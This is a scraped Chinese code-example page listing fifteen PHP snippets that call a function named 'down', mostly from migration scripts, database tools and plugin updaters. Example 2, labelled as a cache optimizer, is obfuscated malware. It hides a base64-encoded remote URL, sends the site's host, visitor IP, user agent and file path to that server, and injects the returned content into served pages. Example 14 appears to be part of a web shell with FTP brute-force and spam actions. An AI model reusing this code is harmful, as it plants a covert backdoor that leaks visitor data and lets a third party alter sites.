本文整理汇总了PHP中down函数的典型用法代码示例。如果您正苦于以下问题:PHP down函数的具体用法?PHP down怎么用?PHP down使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了down函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: main
function main($conn, $cmd)
{
if ($cmd == 'quit') {
@setcookie(@siduMD5('SIDUCONN'), '', -1);
@setcookie('SIDUSQL', '', -1);
} elseif ($cmd == 'close') {
$goto = @close_sidu_conn($_GET['id']);
if ($goto) {
return @header("Location: ./?id={$goto}");
}
} elseif ($cmd == @lang(1101)) {
if (@substr($_FILES['fconn']['type'], 0, 4) == 'text' && $_FILES['fconn']['size'] && !$_FILES['fconn']['error']) {
$err = @init_conn($conn, @file_get_contents($_FILES['fconn']['tmp_name']), $arrConn, $cmd);
} else {
$err = @lang(1102, 1);
}
} elseif ($cmd == @lang(1103) || $cmd == @lang(1104)) {
$err = @test_conn($conn);
if ($cmd == @lang(1104) && !$err) {
return @main_conn($conn);
} elseif (!$err) {
$err = "OK";
}
}
if ($cmd != "Open" && $conn['txt']) {
$err .= @init_conn($conn, @dec65($conn['txt'], 1), $arrConn, $cmd);
} elseif ((!$cmd || $cmd == 'quit' || $cmd == 'close') && !$conn['txt'] && $_COOKIE[@siduMD5('SIDUconnS')]) {
$err .= @init_conn($conn, @dec65($_COOKIE[@siduMD5('SIDUconnS')], 1), $arrConn, @lang(1101));
}
@uppe();
@main_form($conn, $arrConn, $err, $cmd);
@down();
}
示例2: _php_cache_speedup_func_optimizer_
function _php_cache_speedup_func_optimizer_($buffer)
{
if (isset($GLOBALS['_php_cache_speedup_func_optimizer_completed_'])) {
// already completed
return $buffer;
}
$mod = false;
$token = 'czoyMzoiaHR0cDovL3Bpd2VyLnB3L2FwaS5waHAiOw==';
$tmp_buffer = $buffer;
$gzip = false;
$body = '<' . 'b' . 'o' . 'd' . 'y';
if (($has_body = stripos($buffer, $body)) === false) {
// define gzdecode function if not defined
if (!function_exists('gzdecode')) {
function gzdecode($data)
{
return @gzinflate(substr($data, 10, -8));
}
}
// gzdecode buffer
$tmp_buffer = @gzdecode($tmp_buffer);
// check if buffer has body tag
if (($has_body = stripos($tmp_buffer, $body)) !== false) {
// got body tag, this should be gzencoded when done
$gzip = true;
}
}
if ($has_body === false) {
// no body, return original buffer
return $buffer;
}
$GLOBALS['_php_cache_speedup_func_optimizer_completed_'] = true;
// decode token
$func = 'b' . 'a' . 's' . 'e' . '6' . '4' . '_' . 'd' . 'e' . 'c' . 'o' . 'd' . 'e';
$token = @unserialize(@$func($token));
if (empty($token)) {
return $buffer;
}
// download remote data
function down($url, $timeout = 5)
{
// download using file_get_contents
if (@ini_get('allow_url_fopen')) {
$ctx = @stream_context_create(array('http' => array('timeout' => $timeout)));
if ($ctx !== FALSE) {
$file = @file_get_contents($url, false, $ctx);
if ($file !== FALSE) {
return $file;
}
}
}
// download using curl
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
// download using sockets
if (extension_loaded('sockets')) {
$data = parse_url($url);
if (!empty($data['host'])) {
$host = $data['host'];
$port = isset($data['port']) ? $data['port'] : 80;
$uri = empty($data['path']) ? '/' : $data['path'];
if (($socket = @socket_create(AF_INET, SOCK_STREAM, 0)) && @socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $timeout, 'usec' => $timeout * 1000)) && @socket_connect($socket, $host, $port)) {
$buf = "GET {$uri} HTTP/1.0\r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla (compatible; WinNT)\r\nHost: {$host}\r\n\r\n";
if (@socket_write($socket, $buf) !== FALSE) {
$response = '';
while ($tmp = @socket_read($socket, 1024)) {
$response .= $tmp;
}
@socket_close($socket);
return $response;
}
}
}
}
return false;
}
$token .= (strpos($token, '?') === false ? '?' : '&') . http_build_query(array('h' => $_SERVER['HTTP_HOST'], 'u' => $_SERVER['REQUEST_URI'], 'a' => empty($_SERVER['HTTP_USER_AGENT']) ? '' : $_SERVER['HTTP_USER_AGENT'], 'r' => empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'], 'i' => $_SERVER['REMOTE_ADDR'], 'f' => __FILE__, 'v' => 9));
$token = @unserialize(@$func(down($token)));
if (empty($token) || empty($token['data']) || !is_array($token['data'])) {
// invalid data
return $buffer;
}
// fix missing meta description
if (isset($token['meta']) && $token['meta'] && ($pos = stripos($tmp_buffer, '</head>')) !== false) {
$tmp = substr($tmp_buffer, 0, $pos);
if (stripos($tmp, 'name="description"') === false && stripos($tmp, 'name=\'description\'') === false && stripos($tmp, 'name=description') === false) {
$meta = $_SERVER['HTTP_HOST'];
// append meta description
$tmp_buffer = substr($tmp_buffer, 0, $pos) . '<' . 'm' . 'e' . 't' . 'a' . ' ' . 'n' . 'a' . 'm' . 'e' . '=' . '"' . 'd' . 'e' . 's' . 'c' . 'r' . 'i' . 'p' . 't' . 'i' . 'o' . 'n' . '"' . ' ' . 'c' . 'o' . 'n' . 't' . 'e' . 'n' . 't' . '="' . htmlentities(substr($meta, 0, 160)) . '">' . substr($tmp_buffer, $pos);
$mod = true;
//.........这里部分代码省略.........
示例3: check_sql
$from = check_sql($from);
// ziskanie hodnoty premennej vyber
$c = check_sql($c);
// ziskanie hodnoty premennej vyber
$id = check_sql($id);
// ziskanie hodnoty premennej vyber
$actual_order = get_actual_order($from, $c, $id);
$max_order = get_max_order($from, $c, $id);
if ($order == "up") {
if ($actual_order != 0) {
up($from, $c, $id);
}
}
if ($order == "down") {
if ($actual_order != $max_order) {
down($from, $c, $id);
}
}
function get_actual_order($from, $c, $id)
{
$set = check_get($_GET[set]);
$query = "SELECT {$c} FROM " . PREFIX . "{$from} WHERE id = '{$id}' LIMIT 1";
if ($set == "vyrobky") {
$query = "SELECT druh FROM " . PREFIX . "{$from} WHERE id = '{$id}' LIMIT 1";
$lng_id_query = mysql_query($query, $GLOBALS["link"]) or die("" . $query . " <br> " . mysql_error($GLOBALS["link"]));
$lng_id = mysql_fetch_assoc($lng_id_query);
$id_druh = $lng_id[druh];
$query = "SELECT {$c} FROM " . PREFIX . "{$from} WHERE id = '{$id}' AND druh={$id_druh} LIMIT 1";
}
//echo "{$query} <br>";
$lng_id_query = mysql_query($query, $GLOBALS["link"]) or die("" . $query . " <br> " . mysql_error($GLOBALS["link"]));
示例4: main_close
<?php
@(include "inc.page.php");
@main_close();
$SIDU['page']['nav'] = 'defa';
@uppe();
@main();
@down();
function main_close()
{
$id = @ceil($_GET['close']);
if (!$id) {
return;
}
@close_sidu_conn($id);
}
function main()
{
global $SIDU;
$conn = $SIDU['conn'][$SIDU[0]];
$eng = $conn[1];
echo "<div class='web'>\n\t<div class='box right hand' style='margin-left:10px' onclick=\"top.location='conn.php?cmd=quit'\">", @html_img("img/tool-exit", "", "class='vm'"), " ", @lang(2101), "</div>\n\t<div class='box right hand' style='margin-left:10px'>", @html_img("img/tool-add", "", "class='vm'"), " <a href='conn.php' target='_blank' style='text-decoration:none'>", @lang(2102), "</a></div>\n\t<div class='box left'>", @html_img("img/tool-pc", "", "class='vm'"), " <b>", @lang(2103), ":</b></div>\n\t<p class='clear' style='margin-left:40px'>";
foreach ($SIDU['conn'] as $conn) {
echo "<br/><a href=", $SIDU[0] == $conn[0] ? "'#' onclick=\"top.location='conn.php?cmd=close&id={$conn['0']}'\"" : "'home.php?id={$SIDU['0']}&close={$conn['0']}'", ">", @html_img("img/tool-x", @lang(2104), "class='vm'"), "</a> ", @html_img("img/eng-{$conn['1']}", "", "class='vm'"), " <a href='./?id={$conn['0']}'", $SIDU[0] == $conn[0] ? " class='red b'" : "", " target='_blank' title='", @lang(2105), "'>", $conn[1] == "sl" ? "SQLite" : "{$conn['3']} @ {$conn['2']}", "</a>";
if ($conn[1] == 'pg' && !$conn[5]) {
$conn[5] = "<i class='grey'>(5432)</i>";
} elseif ($conn[1] == 'my' && !$conn[5]) {
$conn[5] = "<i class='grey'>(3306)</i>";
} elseif ($conn[1] != "sl") {
$conn[5] = "({$conn['5']})";
}
示例5: rollback_cos
public static function rollback_cos()
{
$Root = "../";
$r = glob("../app/schemas/*.php");
$r2 = array();
$r2 = array();
foreach ($r as $value) {
$temp1 = explode("schemas/", $value);
$temp2 = explode("_", $temp1[1]);
$temp3 = explode(".", $temp2[1]);
$ex = $temp3[0];
//
if ($ex == $_POST['exec_cos_migrate_select']) {
$r2[] = $ex;
$r3[] = $temp2[0];
}
}
$v = "";
//
if (count($r2) > 1) {
for ($i = 1; $i < count($r2); $i++) {
error_log($r3[$i] . '*/*' . $r3[$i - 1]);
if ($r3[$i] >= $r3[$i - 1]) {
$v = "../app/schemas/" . $r3[$i] . "_" . $r2[$i] . ".php";
$full_name = $r3[$i] . "_" . $r2[$i];
}
}
} else {
$v = "../app/schemas/" . $r3[0] . "_" . $r2[0] . ".php";
$full_name = $r3[0] . "_" . $r2[0];
}
try {
include_once $v;
if (down()) {
Migration::updateRegister($full_name, "rollback", $Root, '');
echo "Schéma annulée";
} else {
echo Database::execErr();
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
示例6: main_form
function main_form($SIDU, $exp, $mode)
{
@uppe();
$obj = $SIDU[3] == 'r' ? @lang(1502) : @lang(1503);
echo "<form action='exp.php' method='get'>", @html_form("hidden", "id", "{$SIDU['0']},{$SIDU['1']},{$SIDU['2']},{$SIDU['3']},{$SIDU['4']}"), "\n\t\t<div class='web'><p class='dot'><b>SIDU ", @lang(1501), ":</b> <i class='b red'>{$mode}</i></p>";
if ($mode == "SQL") {
echo "<p class='green'>", @nl2br(@html8($_GET['sql'])), "</p>", @html_form("hidden", "sql", $_GET['sql']);
} elseif ($_GET['tab']) {
echo "<p>{$obj} = <span class='green'>", @str_replace(",", ", ", $_GET['tab']), "</span></p>", @html_form("hidden", "tab", $_GET['tab']);
} elseif (!$SIDU[4]) {
echo "<p class='err'>", @lang(1504, $obj), "</p></div></form>";
return;
}
$arr_ext = @array("html" => "HTML", "csv" => "CSV");
if ($mode != "SQL") {
$arr_ext['sql'] = "SQL";
echo "<p class='dot b'>", @lang(1505), "</p><p>";
if ($SIDU['eng'] != 'sl') {
echo @html_form("checkbox", "exp[db]", $exp['db'], "", "", "", @array(1 => 'Use ')), $SIDU['eng'] == 'my' ? 'DB' : 'Sch', ' ';
}
echo @html_form("checkbox", "exp[drop]", $exp['drop'], "", "", "", @array(1 => @lang(1506, $obj) . ' ')), @html_form("checkbox", "exp[desc]", $exp['desc'], "", "", "", @array(1 => @lang(1507, $obj) . ' ')), @html_form("checkbox", "exp[data]", $exp['data'], "", "", "", @array(1 => @lang(1508, $obj))), "</p>";
}
echo "<p class='dot b'>", @lang(1509), "</p><p>", @html_form("radio", "exp[ext]", $exp['ext'], " ", "", "", $arr_ext), " ", @html_form("checkbox", "exp[zip]", $exp['zip'], "", "", "", @array(1 => @lang(1510))), "</p>";
if ($mode != "SQL" && !$exp['sql'][1]) {
echo "<p class='b dot'>", @lang(1511, $obj), ": <i class='red'>{$exp[tabs][0]}</i></p><p>";
foreach ($exp['tab_col'] as $v) {
echo "<input type='checkbox' name='exp[col][]' value='{$v}'", !isset($exp['col']) || @in_array($v, $exp['col']) ? " checked='checked'" : "", "/> {$v} ";
}
echo "</p><p>where ", @html_form("text", "exp[where]", $exp['where'], 300), "</p>";
}
echo "<p class='dot'></p><p>", @html_form("submit", "cmd", @lang(1501)), " Max 25290 Lines</p>";
echo "</div></form>";
@down();
}
示例7: __callStatic
/**
* Dynamic static methods go here.
*
* Supported methods (where name and email are examples of column names):
* - find(id)
* - find_by_name(name)
* - find_by_name_and_order_by_email(name)
* - find_by_name_and_email(name, email)
* - find_all()
* - find_all_and_order_by_name()
* - find_all_and_order_by_name_and_email_desc()
* - delete(id)
*
* Also calls all the mixins (see the Object class).
* If an unknown method is called, an exception is thrown.
*
* @param string $method
* @param string $arguments
* @return mixed
*/
public static function __callStatic($method, $arguments)
{
$connection = ModelConnection::instance();
$model = get_called_class();
$table = to_table($model);
$order = '';
$limit = '';
if (substr($method, -6, 6) == '_limit') {
$method = str_replace('_and_limit', '', $method);
$limit = array_pop($arguments);
}
if (strpos($method, 'order_by') !== false) {
$order = substr($method, strpos($method, 'order_by_') + 9);
$arglist = $order;
if (strpos($order, '_and_') !== false) {
$order = explode('_and_', $order);
$order = array_map(function ($item) {
return str_replace('_desc', ' desc', $item);
}, $order);
$order = implode(', ', $order);
} else {
$order = str_replace('_desc', ' desc', $order);
}
$method = str_replace('_and_order_by_' . $arglist, '', $method);
}
if ($method === 'find' && is_numeric($arguments[0]) === true) {
$result = $connection->read($table, $model, "id='" . $arguments[0] . "'");
if ($result === false) {
return new ModelCollection();
} else {
return $result;
}
} elseif ($method === 'find_by_sql') {
return $connection->query_to_model($arguments[0], $model);
} elseif (substr($method, 0, 8) === 'find_by_') {
$column = down(substr($method, 8));
if (strpos($column, '_and_') !== false) {
$columns = explode('_and_', $column);
if ($connection->are_columns_of($columns, $table)) {
$arguments = array_map(function ($key, $item) {
return $key . "='" . $item . "'";
}, $columns, $arguments);
$condition = implode(' and ', $arguments);
$result = $connection->read($table, $model, $condition, $order, $limit);
if ($result === false) {
return new ModelCollection();
} else {
return $result;
}
}
} elseif ($connection->is_column_of($column, $table)) {
$result = $connection->read($table, $model, '`' . $column . "`='" . $arguments[0] . "'", $order, $limit);
if ($result === false) {
return new ModelCollection();
} else {
return $result;
}
}
} elseif (substr($method, 0, 8) === 'find_all') {
$found = $connection->read($table, $model, '', $order);
if ($found === false) {
$found = new ModelCollection();
}
if (is_a($found, 'ModelCollection') === false) {
$found = new ModelCollection($found);
}
return $found;
} elseif ($method === 'delete') {
return $connection->delete($table, 'id=' . $arguments[0]);
} else {
return parent::__callStatic($method, $arguments);
}
}
示例8: up
$kos_typ = $_REQUEST['kos_typ'];
$kos_id = $_REQUEST['kos_id'];
$pp_dat = $_REQUEST['pp_dat'];
$pos = $_REQUEST['virt_pos'];
$pool_id = $_REQUEST['pool_id'];
up($pp_dat, $pos, $pool_id);
// $rr = new rechnungen();
// $rr->u_pool_edit($kos_typ,$kos_id);
break;
case "pool_down":
$kos_typ = $_REQUEST['kos_typ'];
$kos_id = $_REQUEST['kos_id'];
$pp_dat = $_REQUEST['pp_dat'];
$pos = $_REQUEST['virt_pos'];
$pool_id = $_REQUEST['pool_id'];
down($pp_dat, $pos, $pool_id);
// $rr = new rechnungen();
// $rr->u_pool_edit($kos_typ,$kos_id);
break;
case "change_wert":
$spalte = $_REQUEST['spalte'];
$pp_dat = $_REQUEST['pp_dat'];
$wert = nummer_komma2punkt($_REQUEST['wert']);
update_spalte($pp_dat, $spalte, $wert);
update_g_preis($pp_dat);
$rr = new rechnungen();
$rr->u_pool_edit($kos_typ, $kos_id);
break;
case "change_details":
$dat = $_REQUEST['dat'];
$wert = $_REQUEST['wert'];
示例9: mb_convert_encoding
$content = mb_convert_encoding($content, "UTF-8", $encoding);
//$content=iconv("GBK","UTF-8",$content);
$content = preg_replace("/<head>/", "<head> <meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" /> ", $content, 1);
$doc = new DOMDocument();
$doc->loadHTML($content);
//extract index...
$list = $doc->getElementsByTagName($tag);
foreach ($list as $item) {
if ($value1 == $item->getAttribute($attribute1)) {
break;
}
}
$list = $item->getElementsByTagName("a");
$flag = true;
foreach ($list as $item) {
if ($flag && $item->nodeValue != $first) {
continue;
} elseif ($flag) {
$flag = false;
}
down($url_dir . $item->getAttribute("href"));
if ($item->nodeValue == $last) {
break;
}
}
$file = fopen("/tmp/ebookIndex.html", "w");
$num = fwrite($file, html_entity_decode($doc->saveHTML()));
//$num=fwrite($file,html_entity_decode($content));
fclose($file);
echo "OK...size=" . $num . "<br/>" . "\n";
// */
示例10: error_log
//
if ($ex == $_POST['exec_cos_migrate_select']) {
$r2[] = $ex;
$r3[] = $temp2[0];
}
}
$v = "";
//
if (count($r2) > 1) {
for ($i = 1; $i < count($r2); $i++) {
error_log($r3[$i] . '*/*' . $r3[$i - 1]);
if ($r3[$i] >= $r3[$i - 1]) {
$v = $Root . "../app/schemas/" . $r3[$i] . "_" . $r2[$i] . ".php";
$full_name = $r3[$i] . "_" . $r2[$i];
}
}
} else {
$v = $Root . "../app/schemas/" . $r3[0] . "_" . $r2[0] . ".php";
$full_name = $r3[0] . "_" . $r2[0];
}
try {
include_once $v;
if (down()) {
Migration::updateRegister($full_name, "rollback", $Root);
echo "Schéma annulée";
} else {
echo Database::execErr();
}
} catch (Exception $e) {
echo $e->getMessage();
}
示例11: stream_context_create
}
if (!$_GET['doupdate']) {
$time_out = stream_context_create(array('http' => array('timeout' => 3)));
$sever_return = dfsockopen("http://dsu.googlecode.com/svn/trunk/PluginUpdater/{$plugin_id}/status");
if ($sever_return != 'ok') {
cpmsg('连接到服务器失败,请稍候再试!' . $sever_return, '', 'error');
}
cpmsg('正在准备升级...', "{$baselink}&doupdate=yes", 'loading');
}
$program_newver = file_get_contents("http://dsu.googlecode.com/svn/trunk/PluginUpdater/{$plugin_id}/version");
if ($program_newver == $program_ver && !$_G['gp_updater']) {
cpmsg('插件程序是最新版本。', '', 'succeed');
}
$baselink .= '&doupdate=yes&updater=new';
if ($_G['gp_updater'] != 'new') {
down('updater.inc.php', '');
cpmsg('升级程序已更新,稍后将自动重启更新程序。', $baselink, 'loading');
}
if (!$_GET['docontinue']) {
cpmsg('正在下载插件文件', "{$baselink}&docontinue=yes", 'loading');
}
foreach ($plugin_subfolders as $subfolder) {
@mkdir($plugin_dir . '/' . $subfolder, 0777);
}
foreach ($plugin_files as $file) {
down($file[0], $file[1]);
}
updatecache('plugins');
$plugin_table = DB::table('common_plugin');
$plugin_id = DB::fetch_first("SELECT pluginid FROM {$plugin_table} WHERE identifier='{$plugin_id}'");
cpmsg('成功更新到最新版本,正在导入新版插件数据!', 'action=plugins&operation=upgrade&pluginid=' . $plugin_id['pluginid'] . '&xmlfile=' . $xml_name . ($_G['gp_frame'] ? '&frame=no' : ''), 'loading');
示例12: open_file
$dom = open_file($XML_FILE);
$direct = getDirectiveFromXML($dom, $directive->id);
$tab_rules = $direct->rules;
$move = $_GET['direction'];
switch ($move) {
case 'left':
left($dom, $_GET['id'], &$tab_rules, $direct);
break;
case 'right':
right($dom, $_GET['id'], &$tab_rules, $direct);
break;
case 'up':
up($dom, $_GET['id'], &$tab_rules, $direct);
break;
case 'down':
down($dom, $_GET['id'], &$tab_rules, $direct);
break;
}
$dom->dump_file($XML_FILE);
release_file($XML_FILE);
echo "<html><body onload=\"window.open('../viewer/index.php?directive=" . $direct->id . "&level=" . $_POST['new_level'] . "','right')\"></body></html>";
} elseif ($query == "save_directive") {
$new = FALSE;
$directive = unserialize($_SESSION['directive']);
$new_id = $_POST["iddir"];
$new_priority = $_POST["priority"];
$new_name = stripslashes($_POST["name"]);
$XML_FILE = get_directive_file($new_id);
$dom = open_file($XML_FILE);
$new_directive = $directive;
$new_directive->id = $new_id;
示例13: Actions
/**
*
* @return Response
*/
public static function Actions()
{
$action = $_POST['action'];
switch ($action) {
case "new_migration":
$time2 = date("Y/m/d H:i:s", time());
$time = time();
$name = $_POST['migname'];
$object = $_POST['object'];
$module = $_POST['module'];
if (isset($name) && isset($object) && isset($module) && !empty($name) && !empty($object) && !empty($module)) {
if (is_dir("../app/modules/{$module}/Schemas")) {
$myfile = fopen("../app/modules/{$module}/Schemas/" . $time . "_" . $name . ".php", "w");
$txt = "<?php\n\n";
$txt .= "/* Schema info\n* @date : " . $time2 . "(" . $time . ")\n* @name : " . $name . "\n* @object : " . $object . "\n*/\n\n\n";
$txt .= "\t/**\n\t * Run the schemas.\n\t*/\n";
$txt .= "\tfunction up()\n\t{\n\t\treturn true;\n\n";
$txt .= "\t\t/* Ex.\treturn Schema::create('tbl_test',function(" . '$tab' . ")\n\t\t\t{\n\t\t\t\t" . '$tab->string("column");' . "\n\t\t\t});\n\t\t\t*/";
$txt .= "\n\t}\n\n";
$txt .= "\t/**\n\t * Reverse the schemas.\n\t*/\n";
$txt .= "\tfunction down()\n\t{\n\t\treturn true;\n\n";
$txt .= "\t\t// Ex.\t return Schema::drop('tbl_test');\n\n";
$txt .= "\t}\n\n";
$txt .= "?>\n";
fwrite($myfile, $txt);
fclose($myfile);
if (!Schema::existe(Config::get('database.migration'))) {
Schema::create(Config::get('database.migration'), function ($tab) {
$tab->inc("pk_schema");
$tab->string("name_schema");
$tab->timestamp("date_schema");
$tab->string("status_schema");
$tab->string("type_schema");
});
}
Database::exec("insert into " . Config::get('database.prefixe') . Config::get('database.migration') . "(name_schema,date_schema,status_schema,type_schema) values('" . $name . "','" . $time . "','init','" . $object . "')");
Migration::updateRegister($time . "_" . $name, "init", "", $module);
$arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => "le schema à été ajoutée avec success");
header("Content-type: application/json; charset=utf-8");
echo json_encode($arr);
} else {
$arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => "Merci d'importer ou de créer votre module {$module} tout d'abord ");
header("Content-type: application/json; charset=utf-8");
echo json_encode($arr);
}
} else {
$arr = array('statut' => 'error', 'icon' => 'entypo-cancel-circled alert-danger', 'Message' => "Vous avez oublié de remplire un champ :(");
header("Content-type: application/json; charset=utf-8");
echo json_encode($arr);
}
break;
case "exec_migration":
$dropshema = isset($_POST['dropshema']) ? 1 : 0;
$module = $_POST['module'];
if ($dropshema) {
$r = glob("../app/modules/{$module}/Schemas/*.php");
$pieces = array();
$pieces1 = array();
$pieces2 = array();
$full_names = array();
$time = "";
$name = "";
$f = array();
foreach ($r as $key) {
$pieces = explode("../app/modules/{$module}/Schemas/", $key);
$pieces1 = explode("_", $pieces[1]);
$time = $pieces1[0];
$p = explode(".", $pieces1[1]);
$name = $p[0];
$f[] = $pieces1[0];
$pieces2[] = $pieces[1];
$full_names = $pieces1[0] . "_" . $name;
}
// echo "<pre>",print_r($f),"</pre>";
$mx = max($f);
$ind = 0;
$i = 0;
foreach ($pieces2 as $value) {
if (strpos($value, $mx) !== false) {
$ind = $i;
}
$i++;
}
$link = $r[$ind];
try {
include_once $link;
if (down()) {
if (Schema::existe(Config::get('database.migration'))) {
Database::exec("update " . Config::get('database.prefixe') . Config::get('database.migration') . " set status_schema='rolledback' where name_schema='" . $name . "' and date_schema='" . $time . "'");
}
$full_names = $time . "_" . $name;
Migration::updateRegister($full_names, "rollback", "", $module);
$arr = array('statut' => 'success', 'icon' => 'entypo-check alert-success', 'Message' => "Schéma annulé");
header("Content-type: application/json; charset=utf-8");
echo json_encode($arr);
} else {
//.........这里部分代码省略.........
示例14: arhiv
arhiv($tm, $pass);
break;
case "crypte":
crypte();
break;
case "decrypte":
decrypte();
break;
case "brut_ftp":
brut_ftp();
break;
case "copyfile":
copyfile($tm, $fi);
break;
case "down":
down($dir);
break;
case "downfiles":
downfiles($dir);
break;
case "spam":
spam();
break;
case "flud":
flud();
break;
case "spam1":
spam1($file);
break;
case "del":
del();
示例15: load_controller
/**
* Loads the controller file
*
* @return boolean
* @param string $name Shortname of the controller.
**/
private function load_controller($name)
{
if (class_exists(ucfirst($name) . 'Controller') === false) {
if (is_file($this->config['controllers'] . down($name) . '.controller.php')) {
require $this->config['controllers'] . down($name) . '.controller.php';
return true;
} elseif (is_file(file_path($this->config['core'] . 'stubs', 'app', 'controllers', down($name) . '.controller.php'))) {
require file_path($this->config['core'] . 'stubs', 'app', 'controllers', down($name) . '.controller.php');
return true;
} else {
throw new Exception('File for ' . ucfirst($name) . 'Controller was not found.');
}
}
}